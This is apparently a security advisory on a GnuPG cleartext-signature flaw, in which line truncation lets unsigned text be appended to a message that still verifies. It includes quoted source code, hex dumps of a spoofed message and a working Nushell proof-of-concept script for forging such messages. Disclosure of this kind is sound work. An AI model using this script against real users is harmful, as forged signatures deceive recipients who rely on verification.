Cleartext Signature Plaintext Truncated for Hash Calculation

An attacker can extend certain singed messages with arbitrary data in a way that still passed signature verification in GnuPG.

Impact

If an attacker obtains the signature S and plaintext P of a message where the message plaintext contains ‘\f\n’ (or in other words, has a line ending in ‘\f’), the attacker can craft a signature plaintext pair (S,P’) where P’ has attacker controlled inserts at those occurences in the plaintext and still successfully verifies.

Practically this this is applicable to the following scenario:

Details

GnuPG truncates plaintext lines to 20000 characters minus padding:

#define MAX_LINELEN 20000

// ...

/* read the next line */
maxlen = MAX_LINELEN;
afx->buffer_pos = 0;
afx->buffer_len = iobuf_read_line(a, &afx->buffer,
                                  &afx->buffer_size, &maxlen);
if (!afx->buffer_len) {
  rc = -1; /* eof (should not happen) */
  continue;
}
if (!maxlen) {
  afx->truncated++;
  this_truncated = 1;
} else this_truncated = 0;

// ...

/* Now handle the end-of-line canonicalization */
if (!afx->not_dash_escaped || this_truncated) {
  int crlf = n > 1 && p[n - 2] == '\r' && p[n - 1] == '\n';

  afx->buffer_len =
    trim_trailing_chars(&p[afx->buffer_pos], n - afx->buffer_pos,
                        " \t\r\n");
  afx->buffer_len += afx->buffer_pos;
  /* the buffer is always allocated with enough space to append
   * the removed [CR], LF and a Nul
   * The reason for this complicated procedure is to keep at least
   * the original type of lineending - handling of the removed
   * trailing spaces seems to be impossible in our method
   * of faking a packet; either we have to use a temporary file
   * or calculate the hash here in this module and somehow find
   * a way to send the hash down the processing line (well, a special
   * faked packet could do the job).
         *
         * To make sure that a truncated line triggers a bad
         * signature error we replace a removed LF by a FF or
         * append a FF.  Right, this is a hack but better than a
         * global variable and way easier than to introduce a new
         * control packet or insert a line like "[truncated]\n"
         * into the filter output.
   */
  if (crlf) afx->buffer[afx->buffer_len++] = '\r';
  afx->buffer[afx->buffer_len++] = this_truncated ? '' : '\n';
  afx->buffer[afx->buffer_len] = '';
}

When verifying a message like this:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

A[19998*A]ABBB
CCC
-----BEGIN PGP SIGNATURE-----

[...]
-----END PGP SIGNATURE-----

The resulting hash buffer then contains A[19998*A]A, the truncation mark \f, and CCC.

However, a similar message with a different payload instead of BBB like this:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

A[19998*A]AXXX
CCC
-----BEGIN PGP SIGNATURE-----

[...]
-----END PGP SIGNATURE-----

It results in the same hash buffer as before, since the changed section is truncated in the same way.

Furthermore, before the \f gets inserted, the buffer gets its trailing characters trimmed, allowing the \f to appear at any position between 0 and 20,000 when padding it with ’ ’, ‘\t’ or ‘\r’. Using repeated carriage return characters usually results in a single newline, making the attack practically invisible.

Detailed steps to reproduce

Scenario

Mallory sends Alice a payload to sign:

00000000:   53 69 67 6e  65 64 20 70  61 79 6c 6f  61 64 0d 0c   Signed payload__

Alice signs the payload, and sends it back to Mallory:

00000000:   2d 2d 2d 2d  2d 42 45 47  49 4e 20 50  47 50 20 53   -----BEGIN PGP S
00000010:   49 47 4e 45  44 20 4d 45  53 53 41 47  45 2d 2d 2d   IGNED MESSAGE---
00000020:   2d 2d 0a 48  61 73 68 3a  20 53 48 41  35 31 32 0a   --_Hash: SHA512_
00000030:   0a 53 69 67  6e 65 64 20  70 61 79 6c  6f 61 64 0d   _Signed payload_
00000040:   0c 0a 2d 2d  2d 2d 2d 42  45 47 49 4e  20 50 47 50   __-----BEGIN PGP
00000050:   20 53 49 47  4e 41 54 55  52 45 2d 2d  2d 2d 2d 0a    SIGNATURE-----_
[...]
00000100:   67 55 3d 0a  3d 54 56 52  34 0a 2d 2d  2d 2d 2d 45   gU=_=TVR4_-----E
00000110:   4e 44 20 50  47 50 20 53  49 47 4e 41  54 55 52 45   ND PGP SIGNATURE
00000120:   2d 2d 2d 2d  2d                                      -----

Mallory then injects a payload after the signed payload:

00000000:   2d 2d 2d 2d  2d 42 45 47  49 4e 20 50  47 50 20 53   -----BEGIN PGP S
00000010:   49 47 4e 45  44 20 4d 45  53 53 41 47  45 2d 2d 2d   IGNED MESSAGE---
00000020:   2d 2d 0a 48  61 73 68 3a  20 53 48 41  35 31 32 0a   --_Hash: SHA512_
00000030:   0a 53 69 67  6e 65 64 20  70 61 79 6c  6f 61 64 0d   _Signed payload_
00000040:   0d 0d 0d 0d  0d 0d 0d 0d  0d 0d 0d 0d  0d 0d 0d 0d   ________________
[...]
00004e40:   0d 0d 0d 0d  0d 0d 0d 0d  0d 0d 0d 0d  0d 0d 0d 0d   ________________
00004e50:   0c 55 6e 73  69 67 6e 65  64 20 70 61  79 6c 6f 61   _Unsigned payloa
00004e60:   64 0a 2d 2d  2d 2d 2d 42  45 47 49 4e  20 50 47 50   d_-----BEGIN PGP
00004e70:   20 53 49 47  4e 41 54 55  52 45 2d 2d  2d 2d 2d 0a    SIGNATURE-----_
00004e80:   0a 69 48 55  45 41 52 59  4b 41 42 30  57 49 51 54   _iHUEARYKAB0WIQT
00004e90:   78 65 51 4f  30 6b 66 75  59 35 74 50  45 74 50 78   xeQO0kfuY5tPEtPx
00004ea0:   4c 71 31 73  4a 6f 33 75  64 68 77 55  43 61 50 59   Lq1sJo3udhwUCaPY
00004eb0:   39 2b 41 41  4b 43 52 42  4c 71 31 73  4a 6f 33 75   9+AAKCRBLq1sJo3u
00004ec0:   64 0a 68 79  53 4f 41 51  43 6f 6e 6e  36 73 69 57   d_hySOAQConn6siW
00004ed0:   68 31 30 6d  6a 79 4b 45  54 57 43 39  37 58 51 2f   h10mjyKETWC97XQ/
00004ee0:   39 33 45 4d  38 54 76 78  68 64 66 4a  41 61 65 62   93EM8TvxhdfJAaeb
00004ef0:   4f 49 6d 41  45 41 72 32  36 65 4c 47  36 30 34 49   OImAEAr26eLG604I
00004f00:   35 2b 0a 42  32 50 4f 32  66 55 36 64  63 6e 59 73   5+_B2PO2fU6dcnYs
00004f10:   52 50 6d 71  53 4f 6c 4b  6a 34 70 74  48 62 2b 33   RPmqSOlKj4ptHb+3
00004f20:   67 55 3d 0a  3d 54 56 52  34 0a 2d 2d  2d 2d 2d 45   gU=_=TVR4_-----E
00004f30:   4e 44 20 50  47 50 20 53  49 47 4e 41  54 55 52 45   ND PGP SIGNATURE
00004f40:   2d 2d 2d 2d  2d                                      -----

Alice sends the spoofed message to Bob, and Bob verifies it with GnuPG, which succeeds despite the plaintext having additional content:

$ cat cs.long 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Signed payload
Unsigned payload
-----BEGIN PGP SIGNATURE-----

iHUEARYKAB0WIQTxeQO0kfuY5tPEtPxLq1sJo3udhwUCaPY9+AAKCRBLq1sJo3ud
hySOAQConn6siWh10mjyKETWC97XQ/93EM8TvxhdfJAaebOImAEAr26eLG604I5+
B2PO2fU6dcnYsRPmqSOlKj4ptHb+3gU=
=TVR4
-----END PGP SIGNATURE-----
$ gpg --verify cs.long
gpg: invalid armor: line longer than 20000 characters
gpg: Signature made Mon 20 Oct 2025 03:49:44 PM CEST
gpg:                using EDDSA key F17903B491FB98E6D3C4B4FC4BAB5B09A37B9D87
gpg: Good signature from "online" [ultimate]

A script to automate this is provided:

let signed_payload = "Signed payload"
let unsigned_payload = "Unsigned payload"

let payload = ($signed_payload | fill -c "\r" -w 19999) + "" + $unsigned_payload

let cs_good = "plaintext" | gpg -au online --clearsign

let ds_long = $payload
| str substring 0..<19998
| str replace -ra '[ \t\r\n]+$' (if ($in | split chars | last) == "\r" { "\r" } else { '' })
| bytes build ($in | into binary) 0x[0c]
| do {$in | save -f payload.ds; $in} $in
| gpg -au online --clearsign
| do {$in | save -f payload.ds.asc; $in} $in
| lines | skip 4 | str join "\n"

let spoofed = $cs_good | lines | first 3 | append [$payload $ds_long] | str join "\n"

$spoofed | save -f payload.spoofed.asc
gpg --verify cs.long